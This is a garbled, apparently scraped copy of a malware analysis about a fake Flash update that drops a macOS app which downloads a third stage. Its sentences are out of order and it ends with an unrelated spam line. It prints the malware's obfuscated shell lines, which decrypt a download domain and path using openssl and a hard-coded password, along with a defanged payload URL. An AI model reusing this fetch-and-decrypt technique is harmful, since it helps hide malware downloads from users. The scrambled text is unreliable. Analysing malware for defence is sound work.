rw-r-r- 0 avivais staff 3786 Nov 21 20:02 mm-install-macos.app/Contents/_CodeSignature/CodeResources rwxr-xr-x 0 avivais staff 294080 Nov 21 20:02 mm-install-macos.app/Contents/MacOS/mm-install-macos rw-r-r- 0 avivais staff 116489 Nov 16 04:32 mm-install-macos.app/Contents/Resources/mm-install-macos.icns rw-r-r- 0 avivais staff 8971 Nov 16 04:32 mm-install-macos.app/Contents/Resources/_TBT_RequestForm.nib rw-r-r- 0 avivais staff 25473 Nov 21 15:39 mm-install-macos.app/Contents/Resources/_TBT_Template_Base.nib rw-r-r- 0 avivais staff 80945 Nov 16 04:32 mm-install-macos.app/Contents/Resources/locked.icns

rw-r-r- 0 avivais staff 34830 Nov 21 15:39 mm-install-macos.app/Contents/Resources/MainWindow.nib rw-r-r- 0 avivais staff 8 Nov 21 15:39 mm-install-macos.app/Contents/PkgInfo rw-r-r- 0 avivais staff 1626 Nov 21 15:39 mm-install-macos.app/Contents/ist It's another MacOS app that contains the final malware:ĭrwxr-xr-x 0 avivais staff 0 Nov 21 20:02 mm-install-macos.app/ĭrwxr-xr-x 0 avivais staff 0 Nov 16 04:32 mm-install-macos.app/Contents/ĭrwxr-xr-x 0 avivais staff 0 Nov 16 04:32 mm-install-macos.app/Contents/_CodeSignature/ĭrwxr-xr-x 0 avivais staff 0 Nov 21 20:02 mm-install-macos.app/Contents/MacOS/ĭrwxr-xr-x 0 avivais staff 0 Nov 21 15:39 mm-install-macos.app/Contents/Resources/ The same obuscation technique is used and a third stage is downloaded from: hxxp://hyfiecementvendorsite/sdl/?ts=1543349647 Here is the script content:Ģ: dlDomain='$(echo 'U2FsdGVkX1/fbXNpkXRL0cKWwNEaD2rneZpajkkAapbX8Uif/MGaZ6B/u1oEWglI' | openssl enc -aes-256-cbc -a -salt -pass pass:mmpass -d -A)'ģ: dlPath='$(echo 'U2FsdGVkX1/I3nNeY0LjXYTpVzpZfUfhQg4pLf6/CW8=' | openssl enc -aes-256-cbc -a -salt -pass pass:mmpass -d -A)'Ĥ: dir='$' This image, once mounted, entices the user to execute a script called ‘mand’.

All links redirect to the same URL which downloads a first file called ‘Adobe Flash Player.dmg’ (SHA256:6f3ff669d3de26aac6ac4a5a7e902476df710f8c5dd9295cf5918abeebf8a638) with a VT score of 1/56!. The quality of the fake page is quite good. The file was delivered through a fake Flash update webpage: Today, I found another example of malicious shell script embedded in an Apple. Yesterday, I wrote a diary about a nice obfuscated shell script.

Echo Storm instal the new for mac